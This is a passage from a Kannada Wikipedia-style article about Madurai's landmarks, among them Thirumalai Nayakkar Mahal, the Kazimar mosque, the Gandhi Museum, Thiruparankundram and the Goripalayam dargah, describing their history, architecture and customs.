ನಾಯಕರ್‌ ಮಹಲ್‌ ==== [[ಚಿತ್ರ:30Madura Tirumala Nayakkas Palace.jpg|thumb|right|120px|ತಿರುಮಲೈ ನೈಕರ್‌ ಮಹಲ್‌]] ಈ ಅರಮನೆ ಕಟ್ಟಡವನ್ನು 1636ರಲ್ಲಿ ಇಂಡೋ-ಸಾರಸ್ಯನ್‌ /ಭಾರತೀಯ ಇಸ್ಲಾಂ ಶೈಲಿಯಲ್ಲಿ [[ತಿರುಮಲೈ ನಾಯಕರ್‌]] ರಾಜನು ಕಟ್ಟಿಸಿದ. ಈ ಕಟ್ಟಡವು ಈಗ ರಾಷ್ಟ್ರೀಯ ಸ್ಮಾರಕವಾಗಿದ್ದು ತಮಿಳುನಾಡಿನ ಪುರಾತತ್ವ ಇಲಾಖೆಯ ಆಶ್ರಯದಲ್ಲಿದೆ. ಮೂಲ ಅರಮನೆ ಕಟ್ಟಡವು ಪ್ರಸ್ತುತ ಕಟ್ಟಡದ ನಾಲ್ಕರಷ್ಟು ದೊಡ್ಡದಾಗಿತ್ತು. ಅದನ್ನು, ಸ್ವರ್ಗ-ವಿಲಾಸ ಮತ್ತು ರಂಗ-ವಿಲಾಸ ಎಂದು ಎರಡು ಭಾಗಗಳನ್ನಾಗಿ ವಿಭಜಿಸಲಾಗಿತ್ತು. ಈ ಪ್ರತಿಯೊಂದು ವಿಭಾಗದಲ್ಲಿಯೂ ರಾಜವಂಶ ನಿವಾಸಗಳು, ರಂಗಮಂದಿರ, ದೇಗುಲಗಳು, ಮಹಡಿ/ವಠಾರಗಳು, ಶಸ್ತ್ರಾಗಾರ, ಪಲ್ಲಕ್ಕಿ ಸ್ಥಳ, ವಾದ್ಯಕೂಟ, ವಸತಿ ಸಮುಚ್ಛಯ, ಕೊಳಗಳು, ಮತ್ತು ಉದ್ಯಾನಗಳಿದ್ದವು. ಕಟ್ಟಡದ ಮೇಲ್ಛಾವಣಿಯಲ್ಲಿ ಶೈವ ಹಾಗೂ ವೈಷ್ಣವ ಪಂಥದ ವಿಸ್ತಾರವಾದ ಚಿತ್ರಗಳಿಂದ ಅಲಂಕೃತವಾಗಿದ್ದವು. ಸ್ವರ್ಗವಿಲಾಸಂ ಎಂದು ಹೆಸರಾದ ಯಾವುದೇ ತೊಲೆ ಇಲ್ಲವೇ ಜಂತಿಗಳಿಂದ ಆಧಾರ ಹೊಂದಿಲ್ಲದ ಪೂರ್ಣವಾಗಿ ಗಾರೆ ಹಾಗೂ ಇಟ್ಟಿಗೆಗಳಿಂದ ನಿರ್ಮಿತವಾದ ಕಮಾನುಗಳಿಂದ ಅಲಂಕೃತವಾದ ಅಷ್ಟಭುಜಾಕೃತಿಯ ಮೊಗಸಾಲೆಯನ್ನು ಹೊಂದಿದೆ. ಅದರ ಗುಮ್ಮಟಗಳ ಮೇಲೆ ಹಾಗೂ ಕಮಾನುಗಳ ಮೇಲೆ ಮಾಡಿರುವ ನಯವಾದ ಗಾರೆ ಕಲೆ ಅತ್ಯದ್ಭುತವಾಗಿದೆ. ದೊಡ್ಡ ಗಾತ್ರದ ಸ್ತಂಭಗಳು ಮತ್ತು ಕಟ್ಟೋಣಗಳು ವಾಸ್ತುಶಿಲೆಯ ಮೇಲಿನ ಪ್ರೌಢಿಮೆಯನ್ನು ತೋರಿಸುತ್ತವೆ. ಒಳಾಂಗಣ/ದರ್ಬಾರು/ರಾಜಾಸ್ಥಾನ ಹಾಗೂ ನೃತ್ಯ ಅಂಗಳಗಳು ಸಂದರ್ಶಕರಿಗೆ ಪ್ರಮುಖ ಆಕರ್ಷಣೆಗಳಾಗಿವೆ. ಪ್ರತಿಯೊಂದು 58 ಅಡಿ ಎತ್ತರ ಹಾಗೂ 5 ಅಡಿ ಸುತ್ತಳತೆ ಹೊಂದಿರುವ ಒಟ್ಟು 248 ಸ್ತಂಭಗಳಿವೆ. ರಾಜರುಗಳು ಬಳಸುತ್ತಿದ್ದ ಪೀಠೋಪಕರಣಗಳು ಮತ್ತು ಗೃಹಸಾಮಗ್ರಿಗಳನ್ನು ಅರಮನೆಯಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಿಡಲಾಗಿದೆ. ತಮಿಳು ಹಾಗೂ ಆಂಗ್ಲ ಭಾಷೆಗಳಲ್ಲಿ "ಸಿಲಾಪ್ಪಥಿಕಾರಂ"ನ ಕಥನ ಚಿತ್ರಿಸುವ "ಬೆಳಕು ಹಾಗೂ ಸಂಗೀತದ" ಪ್ರದರ್ಶನಗಳನ್ನು ಅರಮನೆಯಲ್ಲಿ ವ್ಯವಸ್ಥೆಗೊಳಿಸಲಾಗಿದೆ. ಈ ಅರಮನೆಯು ''ಬಾಂಬೆ'' , ''ಇರುವರ್'' ‌, ''ಗುರು'' ಮತ್ತು ''ಜೋಡಿ'' ಮುಂತಾದ ಭಾರತೀಯ ಚಿತ್ರಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದೆ. ==== ಖಾಜಿಮರ್‌ ದೊಡ್ಡ ಮಸೀದಿ (ಪೆರಿಯಾ ಪಲ್ಲಿವಾಸಲ್‌) ಮತ್ತು ಮಕ್‌ಬರಾ ==== [[ಚಿತ್ರ:kazimarbigmosque.JPG|right|thumb|185px|ಖಾಜಿಮರ್‌ ದೊಡ್ಡ ಮಸೀದಿ , ಮಧುರೈ]] [[ಚಿತ್ರ:maqbara.jpg|left|thumb|185px|ದೊಡ್ಡ ಮಸೀದಿಯ ಬಳಿಯಿರುವ ಮಧುರೈ ಹಜರತ್‌ರ ಮಕಬರಾ]] ಮಧುರೈ ನಗರದ ಹೃದಯಭಾಗದಲ್ಲಿ ಪ್ರಸಿದ್ಧ [[ಮಸೀದಿ]] (ಮಸ್ಜಿದ್‌) ಇದೆ, [[ಪೆರಿಯರ್‌]] (ಕೇಂದ್ರ) ಬಸ್‌‌ ನಿಲ್ದಾಣದಿಂದ ಕೇವಲ 500 ಮೀಟರ್‌ಗಳಷ್ಟು ಹಾಗೂ ಮಧುರೈ ರೈಲ್ವೆ ಜಂಕ್ಷನ್‌ನ ಆಗ್ನೇಯ ದಿಕ್ಕಿನಲ್ಲಿ 1 ಕಿಲೋಮೀಟರ್‌ಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. ಮಧುರೈನಲ್ಲಿನ ಪ್ರಪ್ರಥಮ [[ಮುಸ್ಲಿಮ]]ರ ಪೂಜಾಸ್ಥಳವಾದ ಈ [[ಮಸೀದಿ]]ಯನ್ನು 13ನೇ ಶತಮಾನದಲ್ಲಿ [[ಓಮನ್‌]]ನಿಂದ ಬಂದ ಪ್ರವಾದಿ ಮುಹಮ್ಮದ್‌ರ ವಂಶಸ್ಥರಾದ ಹಜರತ್‌‌ ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನ್‌ರು ಆಗಿನ ಪಾಣಿದಿಯಾ/ಪಾಂಡ್ಯ ರಾಜ, ಕೂ‌(ನ್) ಪಾಂಡಿಯನ್‌ರಿಂದ ಈ ಸ್ಥಳವನ್ನು ಪಡೆದು ಕಟ್ಟಿಸಿದರು. '''[http://www.maqbara.com ಮಧುರೈನ ಪ್ರಸಿದ್ಧ ಹಜರತ್‌‌ಗಳ] ದರ್ಗಾ ಆಗಿರುವ [[ಮಧುರೈ ಮಕ್‌ಬರಾ]]''' ಸಹಾ('''ಪ್ರವಾದಿ ಮುಹಮ್ಮದ್‌ರ ವಂಶಸ್ಥರಾದ''' - ಹಜರತ್‌‌ ಮೀರ್‌ ಅಹಮದ್‌ ಇಬ್ರಾಹಿಂ, ಹಜರತ್‌‌ ಮೀರ್‌ ಅಮ್ಜದ್‌ ಇಬ್ರಾಹಿಂ ಮತ್ತು ಹಜರತ್‌‌ ಸೈಯದ್‌ ಅಬ್ದುಸ್‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂ ರಹಮತುಲ್ಲಾಹಿ ಅಲೈಹಿಂ) ಈ [[ಮಸೀದಿ]]ಯ ಆವರಣದಲ್ಲಿಯೇ ಇದೆ. ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನರ ಎಲ್ಲಾ ವಂಶಸ್ಥರು (ಹಕ್‌ದಾರ್‌ಗಳು - ಈ [[ಮಸೀದಿ]]ಯ ಷೇರುದಾರರುಗಳನ್ನು ಸೈಯದ್‌ಗಳೆಂದು ಕರೆಯುತ್ತಾರೆ) ಇದೇ ಪ್ರದೇಶದಲ್ಲಿಯೇ (ಖಾಜಿ ಮಾರ್‌ ಬೀದಿ) ಸುಮಾರು 700 ವರ್ಷಗಳಿಗಿಂತಲೂ ಹೆಚ್ಚಿನ ಕಾಲದಿಂದ ವಾಸವಾಗಿದ್ದು ಆಗಿನಿಂದ ಈ [[ಮಸೀದಿ]]ಯನ್ನು ನಿರ್ವಹಿಸುತ್ತಾ ಬಂದಿದ್ದಾರೆ. ಸೈಯದ್‌ ತಜುದ್ದೀನರನ್ನು ಸುಲ್ತಾನರ ಕಾಲದಲ್ಲಿ ಖಾಜಿಯೆಂದು ನೇಮಕ ಮಾಡಲಾಗಿತ್ತು, ಹಾಗೂ ಈಗಲೂ ಮಧುರೈನ ಖಾಜಿ ಮಾರ್‌ ಬೀದಿಯಲ್ಲಿ ವಾಸವಾಗಿರುವ ಅವರ ವಂಶಸ್ಥರನ್ನೇ [http://www.tn.gov.in ತಮಿಳುನಾಡು ಸರ್ಕಾರ] ದ ವತಿಯಿಂದ ಖಾಜಿಯನ್ನಾಗಿ ನೇಮಕ ಮಾಡಲಾಗುತ್ತಿದೆ. ಎಲ್ಲಾ ಸೈಯದ್‌ಗಳು [[ಇಸ್ಲಾಂ]]ನ [[ಹನಫಿ]] ಪಂಥದ [[ಸುನ್ನಿ]] ಪಂಗಡಕ್ಕೆ ಸೇರಿದವರಾಗಿದ್ದಾರೆ. ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನರ [[ವಂಶಸ್ಥರು]]ಗಳಲ್ಲಿ ಬಹುತೇಕ ಮಂದಿ [[ಷಾದಿಲಿಗಳು]] (ಷಾಜುಲಿ) ಸೂಫಿ ಪಂಥದ [http://www.shazuli.com ಫಸ್ಸಿಯತುಷ್‌ ಷಾದಿಲಿಯಾ] ವನ್ನು ಪಾಲಿಸುತ್ತಾರೆ. ==== ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯ ==== [[ಚಿತ್ರ:Gandhi Museum, Madurai.jpg|right|thumb|ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯ]] ಈ ವಸ್ತುಸಂಗ್ರಹಾಲಯವು [[ಮಹಾತ್ಮಾ ಗಾಂಧಿ]]ಯವರ ಬಗ್ಗೆ ಮಾಹಿತಿ ನೀಡುವುದಲ್ಲದೇ, ಪ್ರಮುಖವಾಗಿ [[ನಾಥೂರಾಮ್‌ ಗೋಡ್ಸೆ]]ಯಿಂದ [[ಹತ್ಯೆಯಾದಾಗ]] ಅವರು ಧರಿಸಿದ್ದ ರಕ್ತಸಿಕ್ತ ಮೂಲ ವಸ್ತ್ರದ ಭಾಗವನ್ನು ಇಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಿಡಲಾಗಿದೆ. ಆ ವಸ್ತ್ರದ ಉಳಿದ ಭಾಗವನ್ನು ದೆಹಲಿಯ ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯದಲ್ಲಿ ಇಡಲಾಗಿದೆ. ಗಾಂಧಿ ಸಂಗ್ರಹಾಲಯಗಳೆಂದು ಹೆಸರಾದ ಭಾರತದಲ್ಲಿನ 5 ವಸ್ತುಸಂಗ್ರಹಾಲಯಗಳಲ್ಲಿ (ಉಳಿದವು ಮುಂಬಯಿ, ಬರಖ್‌ಪುರ್‌, ಸಾಬರ್‌ಮತಿ/ಸಬರ್‌ಮತಿ ಮತ್ತು ಪಾಟ್ನಾ) ಈ ವಸ್ತುಸಂಗ್ರಹಾಲಯವೂ ಒಂದು.<ref>{{cite web|url=http://www.thaindian.com/newsportal/health/gandhi-relics-should-be-a-medium-to-spread-the-message-gandhi-museum-director_100162967.html|title=Gandhi relics should be a medium to spread the message: Gandhi Museum director|accessdate=2009-03-08|archive-date=2012-03-15|archive-url=https://web.archive.org/web/20120315002205/http://www.thaindian.com/newsportal/health/gandhi-relics-should-be-a-medium-to-spread-the-message-gandhi-museum-director_100162967.html|url-status=dead}}</ref> ಗಾಂಧಿಯವರ ಜೀವಿತ ಕಾಲದಲ್ಲಿನ ಅವರು ವಿಶ್ವದಾದ್ಯಂತದ ಅನೇಕ ಮುಖಂಡರೊಡನೆ ಕಾಣಿಸಿಕೊಂಡಿರುವ ಹಾಗೂ ಸ್ವಾತಂತ್ರ್ಯ ಸಂಗ್ರಾಮದ ಅನೇಕ ಸಂದರ್ಭಗಳ ಬಹಳಷ್ಟು ಛಾಯಾಚಿತ್ರಗಳನ್ನು ಕೂಡಾ ಇಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಿಡಲಾಗಿದೆ. [[ಮಾರ್ಟಿನ್‌ ಲೂಥರ್‌ ಕಿಂಗ್‌]] Jr.ರು 1959ರಲ್ಲಿ ತಾವು ಕೈಗೊಂಡಿದ್ದ ಭಾರತ ಪ್ರವಾಸದಲ್ಲಿ ಈ ವಸ್ತುಸಂಗ್ರಹಾಲಯಕ್ಕೆ ಸಹಾ ಭೇಟಿ ನೀಡಿದರು ಹಾಗೂ ಇದರಿಂದ ಪ್ರಭಾವಿತರಾಗಿಯೇ ಮುಂದೆ ತಾವು ಜನಾಂಗೀಯ ತಾರತಮ್ಯಗಳ ವಿರುದ್ಧ ಶಾಂತಿಯುತ ಪ್ರತಿಭಟನೆ ಕೈಗೊಂಡರು ಎನ್ನಲಾಗುತ್ತದೆ <ref>{{cite web|url= http://www.hindu.com/2006/07/01/stories/2006070122320300.htm|title= Madurai soil for Cleveland|accessdate= 2009-01-24|archive-date= 2007-10-17|archive-url= https://web.archive.org/web/20071017161929/http://hindu.com/2006/07/01/stories/2006070122320300.htm|url-status= dead}}</ref>.ವಸ್ತುಸಂಗ್ರಹಾಲಯದ ಸಂದರ್ಶಕರಿಗೆ ಯಾವುದೇ ಪ್ರವೇಶ ಶುಲ್ಕವಿಲ್ಲ. ==== ತಿರುಪರಾಕುಂದ್ರಂ ==== [[ಚಿತ್ರ:Tiruparankundram dargah.jpg|thumb|right|ತಿರುಪ್ಪರಂಕುಂದರಂ ಬೆಟ್ಟಗಳ ಮೇಲಿನ ಹಜರತ್‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ ದರ್ಗಾ.]] ತಿರುಪರಾಕುಂದ್ರಂ ಮಧುರೈ ನಗರ ಕೇಂದ್ರದಿಂದ 8&nbsp;km ಅಥವಾ 5 ಮೈಲುಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. ತಿರುಪರಾಕುಂದ್ರಂ ದೇವಾಲಯವು ಮಧುರೈನ ಜನರಂತೆಯೇ ಧಾರ್ಮಿಕ ಸಾಮರಸ್ಯಕ್ಕೆ ಸಂಕೇತವಾಗಿದೆ. 13ನೇ ಶತಮಾನದ ಮೊದಲಭಾಗದಲ್ಲಿ [[ಮದೀನಾ]]ದ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸೈಯದ್‌ ಇಬ್ರಾಹಿಂ ಷಹೀದ್‌ ಬಾದುಷಾರೊಡನೆ [[ಜೆಡ್ಡಾ]]ದಿಂದ ಇಲ್ಲಿಗೆ ಬಂದಿದ್ದ (ಈಗ [[ರಾಮನಾಥಪುರಂ ಜಿಲ್ಲೆ]]ಯ [[ಇರವಾಡಿ]]ಯಲ್ಲಿರುವ) [[ಮಹಮ್ಮದೀಯ]] ಸಂತ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ ರಡಿಯಲ್ಲಾಹ್‌‌ ತಾ'ಅಲ್‌ ಅನ್ಹುರ ಸಮಾಧಿಯಿರುವ, ಮಹಮ್ಮದೀಯ ದರ್ಗಾ(ದೇಗುಲ)ವೊಂದು ಬೆಟ್ಟದ ಮೇಲಿದೆ. [[ತಮಿಳುನಾಡು]] ಮತ್ತು [[ಕೇರಳ]]ದ ಎಲ್ಲಾ ಭಾಗಗಳ ಜನರು [[ಧರ್ಮ]]ದ ಹಂಗಿಲ್ಲದೇ ಈ ದರ್ಗಾಕ್ಕೆ ಭೇಟಿ ನೀಡುತ್ತಾರೆ. [[ರಾಮನಾಥಪುರಂ ಜಿಲ್ಲೆ]]ಯ [http://www.ervadi.com ಇರವಾಡಿ ದರ್ಗಾ] ಕ್ಕೆ ಭೇಟಿ ನೀಡಿದವರು ಈ ದರ್ಗಾಕ್ಕೆ ಭೇಟಿ ನೀಡಲೇಬೇಕು ಎಂಬ ನಿಯಮವಿದೆ. [http://www.maqbara.com ಮಧುರೈ ಹಜರತ್‌ಗಳ] ಲ್ಲಿ ಮೂರನೆಯವರಾದ ಸೈಯದ್‌ ಅಬ್ದುಸ್ಸಲಾಂ ಇಬ್ರಾಹಿಂ ಸಾಲಿಂ ಹಜರತ್‌‌ ಹಾಗೂ ಅವರ ಮಾತೃ ಮೂಲದ ಮೊಮ್ಮಗ ಸೈಯದ್‌ ಅಬ್ದುಸ್‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂ ಸಾಹಿಬ್‌ ಹಜರತ್‌ರು ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾರನ್ನು ಸ್ತುತಿಸಿ ಅನೇಕ ಕವಿತೆಗಳನ್ನು ರಚಿಸಿದ್ದಾರೆ. ಇಲ್ಲಿಗೆ ಬೇಡಿಕೆಯ ಹರಕೆಯೊಡನೆ ಬರುವವರ ಬೇಡಿಕೆಗಳು ಬಹಳ ಬೇಗನೇ ಕೈಗೂಡುವುದೆಂಬ ನಂಬಿಕೆ ಇರುವ ಕಾರಣ ಅವರನ್ನು ''ಮುಸ್ತಜಬ್‌ ಅದ್‌ ದು'ಆ'' ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಎಂದು ಕರೆಯುತ್ತಾರೆ. [[ಅರೇಬಿಕ್‌]] ಭಾಷೆಯಲ್ಲಿ ''ಮುಸ್ತಜಬ್‌ ಅದ್‌ ದು'ಆ'' ಎಂದರೆ [[ಅಲ್ಲಾಹ]]ನಿಂದ ತನ್ನ [[ಬಿನ್ನಹಗಳನ್ನು]] ತಕ್ಷಣವೇ ಈಡೇರಿಸಿಕೊಳ್ಳಬಲ್ಲ ಸಂತ ಎಂದರ್ಥ. ಪ್ರತಿ ಹಿಜ್ರಿ ವರ್ಷದ [[ರಜಬ್‌]] ಮಹಮ್ಮದೀಯ ತಿಂಗಳಿನ 17ನೇ ರಾತ್ರಿ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ರ ಸ್ಮಾರಕ ವಾರ್ಷಿಕ ಉರುಸ್‌ ಉತ್ಸವವನ್ನು ನಡೆಸಲಾಗುತ್ತದೆ. <br />ಸಾಂಪ್ರದಾಯಿಕ ದಂತಕಥೆಯ ಪ್ರಕಾರ ಮುರುಗನ್‌ ದೇವಾನೈ/ದೇವಯಾನಿ/ದೇವೈನೈಳನ್ನು ಮುರುಗನ್‌‌ನ ಆರು ಪವಿತ್ರ [[ನಿವಾಸ]]ಗಳಲ್ಲಿ (ಅರುಪಾದೈ ವೀಡು, ಎಂದರೆ "ಆರು ಯುದ್ಧ ಶಿಬಿರಗಳು") ಮೊದಲನೆಯದಾದ <ref>{{cite web|url= http://www.murugan.org/temples/parankundram.htm |title=Tirupparankundram | accessdate = 2007-05-26}}</ref><ref>{{cite web|url=http://www.maduraidirectory.com/tourism/thiru.php|title= The first Aru Padai Veedu|accessdate = 2007-05-25}}</ref> ತಿರುಪರಾಕುಂದ್ರಂ ಮುರುಗನ್‌‌ ದೇವಾಲಯದಲ್ಲಿ ಮದುವೆಯಾದನೆಂದು ಪ್ರತೀತಿ ಇದೆ ಈ ಆಹ್ವಾನವೀಯುವ ಗುಹಾಲಯವು ಮೀನಾಕ್ಷಿ ದೇಗುಲಕ್ಕಿಂತ ಹಳೆಯದಾಗಿರುವುದಲ್ಲದೇ, ವಿಶೇಷವಾಗಿ ಮಹಿಳೆಯರು ಮೊಂಬತ್ತಿ/ಕಂದೀಲು/ದೀಪಗಳನ್ನು ಹಚ್ಚಿಡುವ ಅಥವಾ ದೇಗುಲದ ನೆಲದ ಸುತ್ತಲೂ ಕುಳಿತು ಬಣ್ಣಬಣ್ಣದ ಪುಡಿಗಳನ್ನು, ಬೂದಿ ಮತ್ತು ಹೂವುಗಳನ್ನು ಬಳಸಿ ''ಕೋಲಂ'' ಅಥವಾ ''ರಂಗೋಲಿ'' ವಿನ್ಯಾಸಗಳನ್ನು ದುರ್ಗಾದೇವಿಗೆ ಕಾಣಿಕೆಯಾಗಿ ಪ್ರದರ್ಶಿಸುವ ಶುಕ್ರವಾರಗಳಂದು ಮೀನಾಕ್ಷಿ ದೇಗುಲಕ್ಕಿಂತ ಪವಿತ್ರ ವಾತಾವರಣ ನಿರ್ಮಾಣವಾಗಿರುತ್ತದೆ<ref name="FrommersIndia" />. === ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾ === [[ಚಿತ್ರ:Gorippalayam.jpg|right|thumb|180px|ಉರುಸ್‌ನ ಸಮಯದಲ್ಲಿ ಗೋರಿಪ್ಪಾಲಯಂ ದರ್ಗಾ.]] ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ಎಂಬ ಹೆಸರು '''''ಸಮಾಧಿ'' ''' ಎಂಬರ್ಥ ಬರುವ [[ಪರ್ಷಿಯನ್‌]] ಪದ '''''ಗೊರ್‌'' ''' ನಿಂದ ವ್ಯುತ್ಪನ್ನಗೊಂಡಿದೆ. ಇಬ್ಬರು ಪ್ರಖ್ಯಾತ [[ಮಹಮ್ಮದೀಯ]] ಸಂತರು ಮತ್ತು ಮಧುರೈನ ರಾಜರುಗಳಾಗಿದ್ದ ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಅಲಾವುದ್ದೀನ್‌ ಬಾದುಷಾ (ರಡಿಯಲ್ಲಾಹ್‌‌) ಮತ್ತು ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಷಂಸುದ್ದೀನ್‌ ಬಾದುಷಾ (ರಡಿಯಲ್ಲಾಹ್‌‌)ರ ಸಮಾಧಿಗಳು ಇಲ್ಲಿರುವುದರಿಂದ ಈ ಪ್ರದೇಶವನ್ನು ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಮಧುರೈನ A.V.ಸೇತುವೆಯಿಂದ ಸುಂದರವಾದ ಹಸಿರು ಬಣ್ಣದ ಸಮಾಧಿಯನ್ನು ನೋಡಬಹುದಾಗಿದ್ದು, ಅದು [[ವೈಗೈ ನದಿ]]ಯ ಉತ್ತರದ ದಂಡೆಯ ಮೇಲಿರುವ ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾ ಆಗಿದೆ. ಇಲ್ಲಿ ವಿಸ್ಮಯಗೊಳಿಸುವ ವಿಚಾರವೆಂದರೆ 20 ಅಡಿ ಎತ್ತರದ ಹಾಗೂ 70 ಅಡಿ ವ್ಯಾಸದ ಸಮಾಧಿಯು ಅಜ್ಹಗಾ ಬೆಟ್ಟದಿಂದ ತಂದಿದ್ದ ಏಕಶೀಲೆಯಲ್ಲಿ ನಿರ್ಮಿತವಾದುದಾಗಿದೆ. [[ತಮಿಳುನಾಡಿನ]] ಎಲ್ಲಾ ಭಾಗಗಳಿಂದಲೂ ಜನರು ಇಲ್ಲಿಗೆ ಬಂದು ಆಶೀರ್ವಾದಗಳನ್ನು ಪಡೆದು ತೃಪ್ತರಾಗಿ ಹಿಂತಿರುಗುತ್ತಾರೆ. ಇಬ್ಬರು ಮುಸ್ಲಿಂ ರಾಜರುಗಳು ಸಹೋದರರಾಗಿದ್ದು 13ನೇ ಶತಮಾನದಲ್ಲಿ [[ಓಮನ್‌]]ನಿಂದ ಇಲ್ಲಿಂದ [[ಇಸ್ಲಾಂ]] ಧರ್ಮವನ್ನು ಹರಡಲು ಬಂದು ಮಧುರೈನ ಉತ್ತರ ಭಾಗವನ್ನು ಆಳಿದ್ದರು. ಖಾಜಿ ಮಾರ್‌ ಬೀದಿಯ ಹಜರತ್‌‌ ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನ್‌ ರಡಿಯಲ್ಲಾಹ್‌‌ರು ಅವರಿಗೆ Govt. [[ಖಾಜಿ]](ಮಹಮ್ಮದೀಯ ಕಾನೂನು ಸಲಹೆಗಾರ ಮತ್ತು ನ್ಯಾಯಾಧೀಶ )ಯಾಗಿದ್ದರು. ದರ್ಗಾದಲ್ಲಿರುವ [[ಮಕ್‌ಬರಾ]]ದ ಆವರಣದ ಹೊರಭಾಗದಲ್ಲಿ ಒಂದು ಪ್ರಾಚೀನ [[ತಮಿಳು]] [[ಶಾಸನ/ಶಿಲಾಲೇಖ]]ವನ್ನು ನೋಡಬಹುದು. ಈ [[ಶಾಸನ]]ದ ಮೇಲಿನ ಮಾಹಿತಿಯ ಅರ್ಥವೇನೆಂದರೆ, "ಸುಲ್ತಾನ್‌ ಅಲಾವುದ್ದೀನ್‌ ಬಾದುಷಾ, ಮತ್ತು ಸುಲ್ತಾನ್‌ ಷಂಸುದ್ದೀನ್‌ ಬಾದುಷಾ ([[ದೆಹಲಿ]]ಯ ಸುಲ್ತಾನ್‌ರುಗಳೆಂದು ಕರೆಯಲ್ಪಡುವ)ರ ವಂಶಸ್ಥರು ಆಗಿನ ರಾಜ ಕೂ(ನ್‌‌) ಪಾಂಡಿಯನ್‌ರಿಂದ ಒಂದು ಅಡಿ ಉದ್ದದ [[ಚಿನ್ನ]]ವನ್ನು ಕೊಟ್ಟು ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾದ ಸ್ಥಳವನ್ನು ಹಾಗೂ ಇತರ ಆರು ಹಳ್ಳಿಗಳನ್ನು (ಅರ್ಥಾತ್‌ ಬೀಬಿಕುಲಂ, ಚೊಕ್ಕಿಕುಲಂ, ಚೋಲಿಕುಡಿ, ಚಿರುದೂರ್‌, ಕನ್ನನೆಂಡಲ್‌, ತಿರುಪ್ಪಾಲೈ ) 14,000 ಚಿನ್ನದ ನಾಣ್ಯಗಳ ಬೆಲೆಗೆ ಗೋರಿಪಾಲಯಂ/ಗೋರಿಪಾಳಯಂ/ಗೋರಿಪ್ಪಾಲಯಂ/ ಗೋರಿಪ್ಪಾಳಯಂ ದರ್ಗಾದ ನಿರ್ವಹಣೆಗಾಗಿ ಕೊಂಡುಕೊಂಡಿದ್ದಾರೆ". ವೀರಪ್ಪ [[ನಾಯಕ್ಕರ್‌]]ರ ಆಳ್ವಿಕೆಯ ಕಾಲದಲ್ಲಿ ದರ್ಗಾದ ಹಕ್‌ದಾರ್‌ರಿಗೂ ಹಾಗೂ ನಾಯಕ್ಕರ್‌ ಸರ್ಕಾರದ ನೌಕರರಿಗೂ ಆರು ಹಳ್ಳಿಗಳ ಕುರಿತಂತೆ ವಾಗ್ವಾದ ಆರಂಭವಾಯಿತು. ಈ ಮೊಕದ್ದಮೆಯನ್ನು ರಾಜ ವೀರಪ್ಪ ನಾಯಕ್ಕರ್‌ರ ಮುಂದೆ ಬಿನ್ನವಿಸಿದಾಗ, ವಿಚಾರಣೆ ನಡೆಸಿದ ರಾಜನು ಕೂ(ನ್‌‌) ಪಾಂಡಿಯನ್‌ರಿಂದ ಬರೆಸಲ್ಪಟ್ಟ ದಾಖಲೆಗಳನ್ನು ಪರಿಶೀಲಿಸಿ 1573 A.D.ಯಲ್ಲಿ ಆರು ಹಳ್ಳಿಗಳು ಹಾಗೂ ದರ್ಗಾದ ಪ್ರದೇಶವು ಸುಲ್ತಾನ್‌ರ ವಂಶಸ್ಥರಿಗೆ ಸೇರಿದ್ದು ಹಾಗೂ ಇದು ಸೂರ್ಯ ಚಂದ್ರರಿರುವವರೆಗೆ ಅವರ ಉಪಭೋಗದಲ್ಲೇ ಉಳಿಯತಕ್ಕದ್ದು, ಹಾಗೂ ಇದನ್ನು ಉಲ್ಲಂಘಿಸಿದವನು [[ಗಂಗಾನದಿ]]ಯ ದಂಡೆಯ ಮೇಲೆ ಗೋವಿನ ವಧೆ ಮಾಡಿದ ಪಾಪಕ್ಕೆ ಗುರಿಯಾಗುತ್ತಾನೆ ಎಂದು ತನ್ನ ತೀರ್ಪನ್ನು ನೀಡಿದನು" ಈ ಶಾಸನವನ್ನು 13ನೇ ಶತಮಾನದಿಂದಲೂ ದರ್ಗಾ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆಯೆಂಬುದನ್ನು ರುಜುವಾತುಪಡಿಸುವ ಪ್ರಮಾಣವಾಗಿ 